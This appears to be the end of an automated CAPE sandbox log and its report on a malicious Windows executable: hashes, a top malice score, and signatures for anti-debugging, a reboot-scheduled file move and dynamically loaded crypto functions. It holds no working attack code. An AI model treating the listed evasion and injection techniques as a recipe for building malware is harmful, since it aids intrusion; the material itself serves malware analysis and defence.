2019-08-13 23:46:26,842 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:26,890 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:26,905 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:26,905 [root] INFO: Notified of termination of process with pid 812.
2019-08-13 23:46:27,092 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:27,092 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:27,140 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:27,140 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:27,171 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1MY6M6F4KE0RBLJF0Y76.temp'
2019-08-13 23:46:27,171 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1MY6M6F4KE0RBLJF0Y76.temp'
2019-08-13 23:46:27,186 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:27,186 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1MY6M6F4KE0RBLJF0Y76.temp'
2019-08-13 23:46:27,201 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP'
2019-08-13 23:46:27,201 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:27,217 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:27,217 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp" does not exist, skip.
2019-08-13 23:46:27,217 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:27,233 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:27,263 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp" does not exist, skip.
2019-08-13 23:46:27,263 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:27,279 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:27,358 [root] INFO: Process with pid 812 has terminated
2019-08-13 23:46:27,358 [root] INFO: Process with pid 2308 has terminated
2019-08-13 23:46:27,358 [root] INFO: Process with pid 2100 has terminated
2019-08-13 23:46:27,358 [root] INFO: Process with pid 2688 has terminated
2019-08-13 23:46:27,374 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:27,388 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:27,420 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\LPH6LETUZ4A54V5MR3I9.temp'
2019-08-13 23:46:27,420 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\LPH6LETUZ4A54V5MR3I9.temp'
2019-08-13 23:46:27,420 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:27,436 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\LPH6LETUZ4A54V5MR3I9.temp'
2019-08-13 23:46:27,436 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP'
2019-08-13 23:46:27,436 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:27,451 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp" does not exist, skip.
2019-08-13 23:46:27,575 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:27,592 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp" does not exist, skip.
2019-08-13 23:46:27,592 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:27,592 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:27,950 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:27,966 [root] INFO: Notified of termination of process with pid 2636.
2019-08-13 23:46:28,371 [root] INFO: Process with pid 2636 has terminated
2019-08-13 23:46:28,371 [root] INFO: Process with pid 2856 has terminated
2019-08-13 23:46:28,434 [root] INFO: Announced 64-bit process name: svchost.exe pid: 3316
2019-08-13 23:46:28,434 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:28,450 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:28,450 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:28,466 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:28,466 [root] DEBUG: Loader: Injecting process 3316 (thread 3320) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:28,466 [root] DEBUG: Process image base: 0x00000000FFA10000
2019-08-13 23:46:28,480 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:28,480 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FFA1B000 - 0x000007FEFF430000
2019-08-13 23:46:28,480 [root] DEBUG: InjectDllViaIAT: Allocated 0x210 bytes for new import table at 0x00000000FFA20000.
2019-08-13 23:46:28,496 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:28,496 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:28,496 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3316
2019-08-13 23:46:28,512 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:28,512 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:28,528 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:28,528 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:28,543 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x00000000FFA10000, stack from 0x0000000000135000-0x0000000000140000
2019-08-13 23:46:28,559 [root] INFO: Added new process to list with pid: 3316
2019-08-13 23:46:28,559 [root] INFO: Monitor successfully loaded in process with pid 3316.
2019-08-13 23:46:28,575 [root] DEBUG: DLL unloaded from 0x74340000.
2019-08-13 23:46:28,575 [root] DEBUG: DLL unloaded from 0x75140000.
2019-08-13 23:46:28,575 [root] DEBUG: DLL unloaded from 0x749D0000.
2019-08-13 23:46:28,589 [root] INFO: Notified of termination of process with pid 2296.
2019-08-13 23:46:28,589 [root] DEBUG: DLL loaded at 0x000007FEFEE90000: C:\Windows\system32\WS2_32 (0x4d000 bytes).
2019-08-13 23:46:28,605 [root] DEBUG: DLL loaded at 0x000007FEFE2F0000: C:\Windows\system32\NSI (0x8000 bytes).
2019-08-13 23:46:28,621 [root] DEBUG: DLL loaded at 0x000007FEFCA40000: C:\Windows\system32\bcrypt (0x22000 bytes).
2019-08-13 23:46:28,637 [root] DEBUG: DLL loaded at 0x000007FEFD1F0000: C:\Windows\system32\CRYPT32 (0x167000 bytes).
2019-08-13 23:46:28,653 [root] DEBUG: DLL loaded at 0x000007FEFD100000: C:\Windows\system32\MSASN1 (0xf000 bytes).
2019-08-13 23:46:28,714 [root] DEBUG: DLL loaded at 0x000007FEFEDB0000: C:\Windows\system32\OLEAUT32 (0xd7000 bytes).
2019-08-13 23:46:28,714 [root] DEBUG: DLL loaded at 0x000007FEFAF10000: C:\Windows\system32\IPHLPAPI (0x27000 bytes).
2019-08-13 23:46:28,714 [root] DEBUG: DLL loaded at 0x000007FEFAED0000: C:\Windows\system32\WINNSI (0xb000 bytes).
2019-08-13 23:46:28,746 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:28,746 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:28,762 [root] DEBUG: DLL loaded at 0x000007FEF4950000: C:\Windows\system32\WINHTTP (0x71000 bytes).
2019-08-13 23:46:28,762 [root] DEBUG: DLL loaded at 0x000007FEF4500000: C:\Windows\system32\webio (0x64000 bytes).
2019-08-13 23:46:28,809 [root] DEBUG: DLL loaded at 0x000007FEFCA70000: C:\Windows\system32\ncrypt (0x4e000 bytes).
2019-08-13 23:46:28,809 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\SHELL32 (0xd88000 bytes).
2019-08-13 23:46:28,839 [root] DEBUG: DLL unloaded from 0x0000000076FF0000.
2019-08-13 23:46:28,901 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\cryptsp (0x17000 bytes).
2019-08-13 23:46:28,901 [root] DEBUG: DLL loaded at 0x000007FEFC500000: C:\Windows\system32\credssp (0xa000 bytes).
2019-08-13 23:46:28,934 [root] DEBUG: DLL unloaded from 0x000007FEFC8F0000.
2019-08-13 23:46:28,964 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:29,260 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:29,401 [root] INFO: Process with pid 2296 has terminated
2019-08-13 23:46:29,931 [root] DEBUG: DLL loaded at 0x000007FEFAD70000: C:\Windows\system32\dhcpcsvc (0x18000 bytes).
2019-08-13 23:46:29,979 [root] DEBUG: DLL unloaded from 0x000007FEFD430000.
2019-08-13 23:46:29,993 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:30,009 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:30,009 [root] INFO: Notified of termination of process with pid 2828.
2019-08-13 23:46:30,197 [root] INFO: Announced starting service "KeyIso"
2019-08-13 23:46:30,213 [root] INFO: Attaching to Service Control Manager (services.exe - pid 460)
2019-08-13 23:46:30,213 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:30,227 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:30,227 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:30,227 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:30,243 [root] DEBUG: Loader: Injecting process 460 (thread 0) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:30,243 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 2256, handle 0x84
2019-08-13 23:46:30,243 [root] DEBUG: Process image base: 0x00000000FFA10000
2019-08-13 23:46:30,259 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2019-08-13 23:46:30,259 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2019-08-13 23:46:30,275 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:30,275 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:30,290 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:30,322 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:30,338 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x00000000FFA10000, stack from 0x0000000002BC6000-0x0000000002BD0000
2019-08-13 23:46:30,352 [root] INFO: Added new process to list with pid: 460
2019-08-13 23:46:30,352 [root] INFO: Monitor successfully loaded in process with pid 460.
2019-08-13 23:46:30,368 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2019-08-13 23:46:30,384 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2019-08-13 23:46:30,400 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:30,884 [root] INFO: Process with pid 2828 has terminated
2019-08-13 23:46:30,884 [root] INFO: Process with pid 3080 has terminated
2019-08-13 23:46:31,039 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:31,055 [root] INFO: Notified of termination of process with pid 3232.
2019-08-13 23:46:31,055 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:31,476 [root] INFO: Announced 64-bit process name: lsass.exe pid: 2144
2019-08-13 23:46:31,492 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:31,492 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:31,492 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:31,507 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:31,507 [root] DEBUG: Loader: Injecting process 2144 (thread 2128) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:31,507 [root] DEBUG: Process image base: 0x00000000FF1A0000
2019-08-13 23:46:31,523 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:31,523 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF1AC000 - 0x000007FEFF430000
2019-08-13 23:46:31,523 [root] DEBUG: InjectDllViaIAT: Allocated 0x2a4 bytes for new import table at 0x00000000FF1B0000.
2019-08-13 23:46:31,539 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:31,539 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:31,539 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2144
2019-08-13 23:46:31,569 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:31,569 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:31,569 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:31,585 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:31,585 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x00000000FF1A0000, stack from 0x0000000000184000-0x0000000000190000
2019-08-13 23:46:31,601 [root] INFO: Added new process to list with pid: 2144
2019-08-13 23:46:31,601 [root] INFO: Monitor successfully loaded in process with pid 2144.
2019-08-13 23:46:31,601 [root] DEBUG: GetHookCallerBase: thread 2128 (handle 0x0), return address 0x00000000FF1A1071, allocation base 0x00000000FF1A0000.
2019-08-13 23:46:31,601 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF1A0000 main_caller_retaddr 0x00000000FF1A1071 parent_caller_retaddr 0x00000000FF1A190B.
2019-08-13 23:46:31,617 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF1A0000.
2019-08-13 23:46:31,617 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001850.
2019-08-13 23:46:31,631 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:31,664 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2144_2045985768316614382019
2019-08-13 23:46:31,664 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x7e00.
2019-08-13 23:46:31,664 [root] DEBUG: Dump-on-API: Dumped module at 0x00000000FF1A0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:31,898 [root] INFO: Process with pid 3232 has terminated
2019-08-13 23:46:31,898 [root] INFO: Process with pid 3912 has terminated
2019-08-13 23:46:32,069 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:32,085 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:32,085 [root] INFO: Notified of termination of process with pid 2968.
2019-08-13 23:46:32,911 [root] INFO: Process with pid 2968 has terminated
2019-08-13 23:46:33,098 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:33,114 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:33,114 [root] INFO: Notified of termination of process with pid 1648.
2019-08-13 23:46:33,926 [root] INFO: Process with pid 1648 has terminated
2019-08-13 23:46:33,926 [root] INFO: Process with pid 1324 has terminated
2019-08-13 23:46:33,926 [root] INFO: Process with pid 3484 has terminated
2019-08-13 23:46:34,144 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:34,144 [root] INFO: Notified of termination of process with pid 1964.
2019-08-13 23:46:34,144 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:46:34,954 [root] INFO: Process with pid 1964 has terminated
2019-08-13 23:46:35,188 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:35,188 [root] INFO: Notified of termination of process with pid 2760.
2019-08-13 23:46:35,969 [root] INFO: Process with pid 2676 has terminated
2019-08-13 23:46:35,969 [root] INFO: Process with pid 2660 has terminated
2019-08-13 23:46:36,983 [root] INFO: Process with pid 2760 has terminated
2019-08-13 23:47:01,552 [root] INFO: Notified of termination of process with pid 2144.
2019-08-13 23:47:01,552 [root] DEBUG: DLL unloaded from 0x000007FEFC500000.
2019-08-13 23:47:01,569 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:47:01,569 [root] INFO: Notified of termination of process with pid 3316.
2019-08-13 23:47:02,364 [root] INFO: Process with pid 3316 has terminated
2019-08-13 23:47:02,364 [root] INFO: Process with pid 2144 has terminated
2019-08-13 23:49:42,622 [root] INFO: Analysis timeout hit (200 seconds), terminating analysis.
2019-08-13 23:49:42,622 [root] INFO: Created shutdown mutex.
2019-08-13 23:49:43,637 [root] INFO: Shutting down package.
2019-08-13 23:49:43,637 [root] INFO: Stopping auxiliary modules.
2019-08-13 23:49:43,637 [root] INFO: Finishing auxiliary modules.
2019-08-13 23:49:43,637 [root] INFO: Shutting down pipe server and dumping dropped files.
2019-08-13 23:49:43,653 [root] WARNING: File at path "C:\VnKkjNI\debugger" does not exist, skip.
2019-08-13 23:49:43,653 [root] INFO: Analysis completed.

MalScore

10.0

Malicious

Machine

Name Label Manager Started On Shutdown On
target-01 target-01 ESX 2019-08-13 22:46:17 2019-08-13 22:49:58

File Details

File Name ade7ed347881c8a422484a7fa8be461b460a6f7204fa8498e29810f3ca67e829
File Size 675094 bytes
File Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 37c059b7484b539e0be9706d156f228c
SHA1 74d05c52681fea521bb2bb5a8d33ee10081eb0d8
SHA256 ade7ed347881c8a422484a7fa8be461b460a6f7204fa8498e29810f3ca67e829
SHA512 ed9ba25ccde8163a6c6de17f6ce907cde6ecf3112dd428093adddea55538a146fb7deb192722c4692c3eb0a9300e48212b86b708de3f682003707f6d567c6282
CRC32 42FD3886
Ssdeep 12288:gMu7KFpzOscDD85KBq6p26j4muXNS8FBsM0Nb:gMFnzOsMLhp26Um86M0Nb
TrID
  • 61.7% (.EXE) Win64 Executable (generic) (27625/18/4)
  • 14.6% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
  • 10.0% (.EXE) Win32 Executable (generic) (4508/7/1)
  • 4.5% (.EXE) OS/2 Executable (generic) (2029/13)
  • 4.4% (.EXE) Generic Win/DOS Executable (2002/3)
ClamAV None matched
Yara None matched
CAPE Yara None matched
Resubmit sample

Signatures

Behavioural detection: Executable code extraction
SetUnhandledExceptionFilter detected (possible anti-debug)
Scheduled file move on reboot detected
File Move on Reboot: Old: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EGNJCI0BSCY3FTN3UDR.temp -> New: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Possible date expiration check, exits too soon after checking local time
process: cmd.exe, PID 2884
Dynamic (imported) function loading detected
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: comctl32.dll/
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: kernel32.dll/VirtualAlloc
DynamicLoader: ntdll.dll/memcpy
DynamicLoader: ADVAPI32.dll/CryptAcquireContextA
DynamicLoader: ADVAPI32.dll/CryptImportKey
DynamicLoader: ADVAPI32.dll/CryptEncrypt
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTBASE.dll/SystemFunction040
DynamicLoader: CRYPTBASE.dll/SystemFunction041
DynamicLoader: CRYPTSP.dll/CryptEncrypt
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: comctl32.dll/
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
